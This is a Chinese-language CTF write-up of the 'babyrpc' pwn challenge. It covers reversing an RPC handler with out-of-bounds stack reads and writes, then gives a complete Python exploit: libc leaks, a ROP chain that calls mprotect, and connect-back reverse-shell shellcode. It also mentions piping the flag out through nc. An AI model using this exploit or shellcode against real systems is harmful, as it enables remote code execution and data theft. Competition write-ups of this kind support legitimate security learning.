[Pwn] babyrpc - cpt.shao xp0int Posted on Sep 6 2020 题目提供了一个librpc.a静态库文件,可以用来制作ida的flirt签名库,然后导入目标文件idb方便逆向。 main函数里面看到一个注册handler的地方,注册调用的函数名为"Omae wa mou shindeiru" ![title](https://leanote.com/api/file/getImage?fileId=5f486a86ab64414f970011b9) 逆向往下走可以分析出程序比较关键的几个函数,0x6900是检查调用参数的;0x6550是调用函数的handler,主要逻辑都在这个函数里面;0x6bc0是返回消息的函数。 ```c *(_QWORD *)&v44[4] = __readfsqword(0x28u); if ( *((_QWORD *)a1 + 1) <= 0x4783uLL ) { v33 = (__m128i *)rpc::this_handler(a1); sub_6BC0(v33, "nani"); return 666LL; } v1 = *(const void **)a1; v2 = dest; v3 = (__m128i *)dest; memcpy(dest, v1, 0x4784uLL); v4 = dest[0]; if ( dest[0] > 0xA0u ) { v3 = (__m128i *)rpc::this_handler((rpc *)dest); sub_6BC0(v3, "nani"); goto LABEL_4; } if ( dest[0] ) { LABEL_4: option = &dest[1]; end = &dest[3 * (v4 - 1) + 4]; while ( 1 ) { src1 = (unsigned int)option[1]; dst1 = (unsigned int)option[2]; if ( *option == 1 ) break; if ( *option == 2 ) { v43[dst1] = v43[src1]; // oob read LABEL_6: option += 3; if ( end == option ) goto LABEL_10; } else { option += 3; v3 = (__m128i *)rpc::this_handler((rpc *)v3); sub_6BC0(v3, "nani"); if ( end == option ) goto LABEL_10; } } v43[src1] = dst1; //oob write goto LABEL_6; } ``` 函数首先检查了第一个参数的长度,第一个参数类型应该是字符串,长度大于0x4784,然后会解析0x4784的payload,其实实现了一个读写的指令,读写范围没做检查可以向后越界。payload的内存是放在栈上面的,所以越界读写很容易就能读取到libc地址,然后通过写返回地址的操作做rop。 rpclib的调用请求时通过msgpack来封装的,这里可以直接使用mprpc的库来进行函数调用; ```python client = RPCClient(host, port) data = client.call("Omae wa mou shindeiru", payload) ``` 接下来就可以直接构造rop了,因为程序的标准输入输出并没有返回,需要把flag反弹回来,原先使用的是`system("cat flag | nc ip")`的方法,本地成功了远程不行。刚开始还在想办法通过已经建立的socket传flag,跟主办方确认服务器是可以外联的,于是试试用反弹shellcode的方法,然后就可以拿flag了。 ```python from mprpc import RPCClient from pwn import * import sys # flag{6597229e21584c709ff4f8fe5e984ab8} context.arch = "amd64" context.terminal = ["tmux", "splitw", "-h"] gdbcmd = "boff 0x6844\n" gdbcmd += "set $C=0x555555554000" if len(sys.argv) == 1: # p = gdb.debug(["./build/babyrpc", "6666"], gdbcmd, exe="./build/babyrpc") pass elif len(sys.argv) == 3: # p = remote(sys.argv[1], sys.argv[2]) pass host = "119.3.111.239" port = 6666 raw_input("go?") client = RPCClient(host, port) FUNC = "Omae wa mou shindeiru" def leak_dw(off): payload = [0] * 4577 payload[0] = 1 # command size payload[1] = 2 # option 1:store, 2load: payload[2] = off# src payload[3] = 0# dst payload = "".join(map(p32, payload)) data = client.call("Omae wa mou shindeiru", payload) print hexdump(data) return u32(data[0x784:0x788]) def write_dw(off, v1): payload = [0] * 4577 payload[0] = 1 # command size payload[1] = 1 # option 1:store, 2load: payload[2] = off# src payload[3] = v1 # dst payload = "".join(map(p32, payload)) data = client.call("Omae wa mou shindeiru", payload) print hexdump(data) def write_staff(off, dqlist): payload = [0] * 4577 payload[0] = len(dqlist*2) idx = 1 for i in range(len(dqlist)): payload[idx] = 1; idx += 1 payload[idx] = off + 2*i ; idx += 1 payload[idx] = dqlist[i] % 0x100000000; idx+=1 payload[idx] = 1; idx += 1 payload[idx] = off + 2*i+1 ; idx += 1 payload[idx] = dqlist[i] / 0x100000000; idx+=1 payload = "".join(map(p32, payload)) data = client.call("Omae wa mou shindeiru", payload) print hexdump(data) libc_low = leak_dw(4649) libc_high = leak_dw(4650) libc_leak = libc_low + libc_high*0x100000000 print("libc_leak: %#x" % libc_leak) libc = libc_leak - 0x121a3f print("libc: %#x" % libc) low = leak_dw(4585) high = leak_dw(4586) leak_code = low + high*0x100000000 print("code_leak: %#x" % leak_code) code = leak_code - 0x259a0 print("code: %#x" % code) system = libc + 0x4f4e0 pop_rdi = libc + 0x2155f bin_sh = libc + 0x1b40fa ret = libc + 0x3e300 mov_rdi_rax_call = libc+ 0x000000000009afc3 #: mov rdi, rax; call rcx; pop_rsi = libc + 0x0000000000023e8a #: pop rsi; ret; pop_rdx = libc + 0x0000000000001b96 #: pop rdx; ret; store = libc + 0x00000000000b6996 #: mov qword ptr [rdi], rcx; ret; pop_rcx = libc + 0x0000000000103daa #: pop rcx; pop rbx; ret; origin = code + 0x69af def store_qword(dst, value): chain = [ pop_rcx, value, 0, pop_rdi, dst, store, ] return chain bss = code + 0x278300 halt = libc + 0x1af54d mprotect = libc + 0x11bc00 IP = "\x7f\x00\x00\x01" # 127.0.0.1 PORT = "\x7a\x69" # 31337 sc = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" sc += "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" sc += "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" sc += "\x02" + PORT + "\xc7\x44\x24\x04" + IP+ "\x48\x89\xe6\x6a\x10" sc += "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" sc += "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" sc += "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" sc += "\x5f\x6a\x3b\x58\x0f\x05" def gen_cmd(): cmd = sc res = [] while cmd: if len(cmd) >=8: res += [u64(cmd[:8])] else: res += [u64(cmd.ljust(8, "\x00"))] cmd = cmd[8:] return res cmd = gen_cmd() chain = [] for i in range(len(cmd)): chain += store_qword(bss+i*8, cmd[i]) chain += [pop_rdi, bss&0xfffffffff000, pop_rsi, 0x1000, pop_rdx, 7, mprotect, bss] # chain += [pop_rdi, bss, system] write_staff(4113, chain) ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Crypto] confused_flag - match [Misc] 张三的恶行 - Donek1
没有帐号? 立即注册